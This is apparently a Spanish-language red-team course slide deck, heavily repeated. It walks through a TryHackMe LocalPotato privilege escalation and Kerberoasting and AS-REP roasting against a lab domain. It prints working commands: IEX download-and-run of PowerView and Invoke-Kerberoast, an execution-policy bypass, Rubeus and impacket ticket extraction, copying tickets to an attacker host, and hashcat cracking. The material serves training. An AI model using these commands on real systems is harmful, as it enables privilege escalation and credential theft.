
Day Eight: Are you winning son? 

“PWN LIKE A MDFK ft. 
RED TEAM VIEW”



THM : LOCAL POTATO PRIVILEGE ESCALATION

La escalada de privilegios mediante "Localpotato" se basa en la 
manipulación de los servicios DCOM (Distributed Component Object 
Model), NTLM (NT LAN Manager), el protocolo SMB (Server Message 
Block) y el uso de RPC (Remote Procedure Call) para establecer una 
conexión a un recurso compartido SMB, como \127.0.0.1\C$.
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THM : LOCAL POTATO PRIVILEGE ESCALATION
https://tryhackme.com/room/localpotato 

La escalada de privilegios mediante "Localpotato" se basa en la 
manipulación de los servicios DCOM (Distributed Component Object 
Model), NTLM (NT LAN Manager), el protocolo SMB (Server Message 
Block) y el uso de RPC (Remote Procedure Call) para establecer una 
conexión a un recurso compartido SMB, como \127.0.0.1\C$.

Un atacante podría utilizar técnicas como la suplantación de 
identidad en DCOM, el aprovechamiento de debilidades en la 
autenticación NTLM o la manipulación de RPC para establecer una 
conexión SMB con el recurso compartido \127.0.0.1\C$ y, 
posteriormente, escribir en un archivo con privilegios de 
administrador.

El protocolo SMB se utiliza para compartir archivos e impresoras en 
una red, y el recurso compartido \127.0.0.1\C$ se refiere al 
recurso compartido administrativo predeterminado en Windows, que 
proporciona acceso al directorio raíz del sistema.

https://tryhackme.com/room/localpotato
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https://github.com/decoder-it/LocalPotato 

https://tryhackme.com/room/localpotato 

La escalada de privilegios mediante "Localpotato" se basa en la 
manipulación de los servicios DCOM (Distributed Component Object 
Model), NTLM (NT LAN Manager), el protocolo SMB (Server Message 
Block) y el uso de RPC (Remote Procedure Call) para establecer una 
conexión a un recurso compartido SMB, como \127.0.0.1\C$.

Un atacante podría utilizar técnicas como la suplantación de 
identidad en DCOM, el aprovechamiento de debilidades en la 
autenticación NTLM o la manipulación de RPC para establecer una 
conexión SMB con el recurso compartido \127.0.0.1\C$ y, 
posteriormente, escribir en un archivo con privilegios de 
administrador.

El protocolo SMB se utiliza para compartir archivos e impresoras en 
una red, y el recurso compartido \127.0.0.1\C$ se refiere al 
recurso compartido administrativo predeterminado en Windows, que 
proporciona acceso al directorio raíz del sistema.

https://github.com/decoder-it/LocalPotato
https://tryhackme.com/room/localpotato


THM : LOCAL POTATO PRIVILEGE ESCALATION

https://jlajara.gitlab.io/Potatoes_Windows_Privesc 
https://github.com/decoder-it/LocalPotato 

https://tryhackme.com/room/localpotato 

La escalada de privilegios mediante "Localpotato" se basa en la 
manipulación de los servicios DCOM (Distributed Component Object 
Model), NTLM (NT LAN Manager), el protocolo SMB (Server Message 
Block) y el uso de RPC (Remote Procedure Call) para establecer una 
conexión a un recurso compartido SMB, como \127.0.0.1\C$.

Un atacante podría utilizar técnicas como la suplantación de 
identidad en DCOM, el aprovechamiento de debilidades en la 
autenticación NTLM o la manipulación de RPC para establecer una 
conexión SMB con el recurso compartido \127.0.0.1\C$ y, 
posteriormente, escribir en un archivo con privilegios de 
administrador.

El protocolo SMB se utiliza para compartir archivos e impresoras en 
una red, y el recurso compartido \127.0.0.1\C$ se refiere al 
recurso compartido administrativo predeterminado en Windows, que 
proporciona acceso al directorio raíz del sistema.

La vulnerabilidad "Localpotato" no es 
una vulnerabilidad específica, sino un 

término general utilizado para referirse 
a una serie de técnicas de escalada de 
privilegios que se pueden aprovechar en 

sistemas Windows.

https://jlajara.gitlab.io/Potatoes_Windows_Privesc
https://github.com/decoder-it/LocalPotato
https://tryhackme.com/room/localpotato
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THM : LOCAL POTATO PRIVILEGE ESCALATION

C:\Users\user\Desktop>move "C:\tools\LPE via StorSvc\RpcClient\x64\Debug\RpcClient.exe" .

        1 file(s) moved.

C:\Users\user\Desktop>move "C:\tools\LPE via StorSvc\SprintCSP\x64\Debug\SprintCSP.dll" .

Overwrite C:\Users\user\Desktop\SprintCSP.dll? (Yes/No/All): Yes

        1 file(s) moved.



THM : LOCAL POTATO PRIVILEGE ESCALATION

C:\Users\user\Desktop>reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -v Path

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
    Path    REG_EXPAND_SZ    
%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMR
OOT%\System32\OpenSSH\;C:\Program Files\Amazon\cfn-bootstrap\

C:\Users\user\Desktop>LocalPotato.exe -i SprintCSP.dll -o \Windows\System32\SprintCSP.dll

         LocalPotato (aka CVE-2023-21746)
         by splinter_code & decoder_it

[*] Objref Moniker Display Name = 
objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGAQAAAAAAAAAKirfTBVWTTryu0ycrVEdmAXwAANASEA3T1a0Mi6U3jSkAEwAHAEwAUAAAAAcAMQAwA
C4AMQAwAC4AMQAzADgALgA0ADUAAAAAAAkA//8AAB4A//8AABAA//8AAAoA//8AABYA//8AAB8A//8AAA4A//8AAAAA:
[*] Calling CoGetInstanceFromIStorage with CLSID:{854A20FB-2D44-457D-992F-EF13785D2B51}
[*] Marshalling the IStorage object... IStorageTrigger written: 100 bytes
…
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BLEACH.local : KERBEROASTING
Cuando un usuario desea autenticarse ante un servicio, el KDC le 

devuelve un ticket TGS el cual contiene datos cifrados con una clave 

derivada de la contraseña de la cuenta del servicio. Por lo tanto, 

es posible intentar crackear estos tickets para descubrir la 

contraseña de la cuenta de servicio. Este ataque puede resultar 

exitoso cuando el servicio está configurado con una cuenta de 

usuario normal (a diferencia de una cuenta gestionada o de máquina) 

ya que la complejidad y rotación de la contraseña recae 

exclusivamente sobre la persona.

Además, no es extraño que estas cuentas de servicio presenten 

privilegios elevados, por lo que es una técnica que puede dar muy 

buenos resultados como posible vía de elevación de privilegios. Sin 

embargo, en la actualidad cada vez existe mayor concienciación y por 

lo tanto es más común encontrar mitigaciones para eliminar el riesgo 

de este posible vector, así como formas de detección como puede ser 

el uso de cuentas señuelo.

https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70 

https://www.tarlogic.com/es/glosario-ciberseguridad/kerberoasting/ 

https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70
https://www.tarlogic.com/es/glosario-ciberseguridad/kerberoasting/


BLEACH.local : KERBEROASTING

https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70 

PS C:\Users\jquerito> setspn.exe -Q */*  | Select-String "CN="
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https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70 

PS C:\Users\jquerito> setspn.exe -Q */*  | Select-String "CN="
PS C:\Users\jquerito> IEX (New-Object 
System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/Po
werSploit/master/Recon/PowerView.ps1');
PS C:\Users\jquerito> Get-NetUser -SPN | select serviceprincipalname #Admin

https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70
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https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70 

PS C:\Users\jquerito> setspn.exe -Q */*  | Select-String "CN="
PS C:\Users\jquerito> IEX (New-Object 
System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/Po
werSploit/master/Recon/PowerView.ps1');
PS C:\Users\jquerito> Get-NetUser -SPN | select serviceprincipalname #Admin

https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70


BLEACH.local : KERBEROASTING

iex (new-object 
Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invok
e-Kerberoast.ps1")

Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast



BLEACH.local : KERBEROASTING (IMPACKET)
impacket-GetUserSPNs BLEACH.local/jquerito:Contrasena1234 -dc-ip 10.0.9.4 
-request



BLEACH.local : KERBEROASTING (RUBEUS)

.\Rubeus.exe kerberoast /ou:OU=<Service_Accounts>,DC=BLEACH,DC=local



BLEACH.local : AS-REP Roasting

AS-REP Roasting:  
Cuentas de servicio con 
“DONT_REQ_PREAUTH”

https://www.hackplayers.com/2020/11/asreproast-o-as-rep-roasting.html 

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-re
p-roasting-using-rubeus-and-hashcat 

https://github.com/tevora-threat/SharpView 

https://www.hackplayers.com/2020/11/asreproast-o-as-rep-roasting.html
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat
https://github.com/tevora-threat/SharpView


BLEACH.local : AS-REP Roasting

PS C:\Users\jquerito\Downloads> powershell.exe -exec Bypass -noexit -C "IEX (New-Object 
Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerVi
ew/powerview.ps1')"
PS C:\Users\jquerito\Downloads> Get-DomainUser -PreauthNotRequired -verbose



BLEACH.local : AS-REP Roasting

PS C:\Users\jquerito\Downloads> powershell.exe -exec Bypass -noexit -C "IEX (New-Object 
Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerVi
ew/powerview.ps1')"
PS C:\Users\jquerito\Downloads> Get-DomainUser -PreauthNotRequired -verbose

kali@kali$ GetNPUsers.py -dc-ip BLEACH.local --usersfile user.list -no-pass

# ASREP check on a list of domain user (Does not require domain credentials)
python2 GetNPUsers.py <Domain> -usersfile <UserList>  -dc-ip <IP> -format <John|Hashcat> | grep "$krb5asrep$"



BLEACH.local : AS-REP Roasting

PS C:\Users\jquerito\Downloads> powershell.exe -exec Bypass -noexit -C "IEX (New-Object 
Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerVi
ew/powerview.ps1')"
PS C:\Users\jquerito\Downloads> Get-DomainUser -PreauthNotRequired -verbose

kali@kali$ GetNPUsers.py -dc-ip BLEACH.local --usersfile user.list -no-pass

# ASREP check on a list of domain user (Does not require domain credentials)
python2 GetNPUsers.py <Domain> -usersfile <UserList>  -dc-ip <IP> -format <John|Hashcat> | grep "$krb5asrep$"

# Download rubeus from:
https://github.com/r3motecontrol/Ghostpack-CompiledBinaries 

# Extract from all domain accounts
PS C:\Users\jquerito\Downloads> .\Rubeus.exe asreproast
PS C:\Users\jquerito\Downloads> .\Rubeus.exe asreproast /format:hashcat /outfile:C:Hashes.txt

https://github.com/r3motecontrol/Ghostpack-CompiledBinaries
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PS C:\Users\jquerito\Downloads> powershell.exe -exec Bypass -noexit -C "IEX (New-Object 
Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerVi
ew/powerview.ps1')"
PS C:\Users\jquerito\Downloads> Get-DomainUser -PreauthNotRequired -verbose

kali@kali$ GetNPUsers.py -dc-ip BLEACH.local --usersfile user.list -no-pass

# ASREP check on a list of domain user (Does not require domain credentials)
python2 GetNPUsers.py <Domain> -usersfile <UserList>  -dc-ip <IP> -format <John|Hashcat> | grep "$krb5asrep$"

# Download rubeus from:
https://github.com/r3motecontrol/Ghostpack-CompiledBinaries 

# Extract from all domain accounts
PS C:\Users\jquerito\Downloads> .\Rubeus.exe asreproast
PS C:\Users\jquerito\Downloads> .\Rubeus.exe asreproast /format:hashcat /outfile:C:Hashes.txt

# Linux
john --wordlist rockyou.txt Hashes.txt --format=krb5tgs
hashcat -m 18200 -a 3 Hashes.txt rockyou

https://github.com/r3motecontrol/Ghostpack-CompiledBinaries
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BLEACH.local : KERBEROS & OUR FIRST TICKET

PS C:\Users\jquerito\Downloads\mimikatz-master\mimikatz-master\x64> scp.exe .\kiribiris.zip 
kali@10.0.9.7:/home/kali/Documents/cosas/
kali@10.0.9.7’s password:
kiribiris.zip 100% 22KB 21.5KB/s 00:00
PS C:\Users\jquerito\Downloads\mimikatz-master\mimikatz-master\x64>



BLEACH.local : KERBEROS & OUR FIRST TICKET

PS C:\Users\jquerito\Downloads\mimikatz-master\mimikatz-master\x64> scp.exe .\kiribiris.zip 
kali@10.0.9.7:/home/kali/Documents/cosas/
kali@10.0.9.7’s password:
kiribiris.zip 100% 22KB 21.5KB/s 00:00
PS C:\Users\jquerito\Downloads\mimikatz-master\mimikatz-master\x64>

----------------

┌──(kali㉿kali)-[~/Documents/cosas]
└─$ python3 ../kerberoast/tgsrepcrack.py /home/kali/Documents/rockyou.txt 
kiribiris/3-40a10000-jquerito@mssql_svc\~mssqlserver.BLEACH.local-BLEACH.LOCAL.kirbi 

https://github.com/jarilaos/kirbi2hashcat https://github.com/nidem/kerberoast 

https://github.com/jarilaos/kirbi2hashcat
https://github.com/nidem/kerberoast
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PS C:\Users\jquerito\Downloads\mimikatz-master\mimikatz-master\x64> scp.exe .\kiribiris.zip 
kali@10.0.9.7:/home/kali/Documents/cosas/
kali@10.0.9.7’s password:
kiribiris.zip 100% 22KB 21.5KB/s 00:00
PS C:\Users\jquerito\Downloads\mimikatz-master\mimikatz-master\x64>

----------------

┌──(kali㉿kali)-[~/Documents/cosas]
└─$ python3 ../kerberoast/tgsrepcrack.py /home/kali/Documents/rockyou.txt 
kiribiris/3-40a10000-jquerito@mssql_svc\~mssqlserver.BLEACH.local-BLEACH.LOCAL.kirbi 

┌──(kali㉿kali)-[~/Documents/cosas]

└─$ python3 kirbi2john.py 
../cosas/kiribiris/3-40a10000-jquerito@mssql_svc\~mssqlserver.BLEACH.local-BLEACH.LOCAL.kirbi

https://github.com/jarilaos/kirbi2hashcat https://github.com/nidem/kerberoast 
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PS C:\Users\jquerito\Downloads\mimikatz-master\mimikatz-master\x64> scp.exe .\kiribiris.zip 
kali@10.0.9.7:/home/kali/Documents/cosas/
kali@10.0.9.7’s password:
kiribiris.zip 100% 22KB 21.5KB/s 00:00
PS C:\Users\jquerito\Downloads\mimikatz-master\mimikatz-master\x64>

----------------

┌──(kali㉿kali)-[~/Documents/cosas]
└─$ python3 ../kerberoast/tgsrepcrack.py /home/kali/Documents/rockyou.txt 
kiribiris/3-40a10000-jquerito@mssql_svc\~mssqlserver.BLEACH.local-BLEACH.LOCAL.kirbi 

┌──(kali㉿kali)-[~/Documents/cosas]

└─$ python3 kirbi2john.py 
../cosas/kiribiris/3-40a10000-jquerito@mssql_svc\~mssqlserver.BLEACH.local-BLEACH.LOCAL.kirbi

┌──(kali㉿kali)-[~/Documents/cosas]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=krb5tgs hash-tiket.txt

┌──(kali㉿kali)-[~/Documents/cosas]
└─$ hashcat -m 13100 --force hash-tiket.txt <passwords_file>

https://github.com/jarilaos/kirbi2hashcat https://github.com/nidem/kerberoast 

https://github.com/jarilaos/kirbi2hashcat
https://github.com/nidem/kerberoast



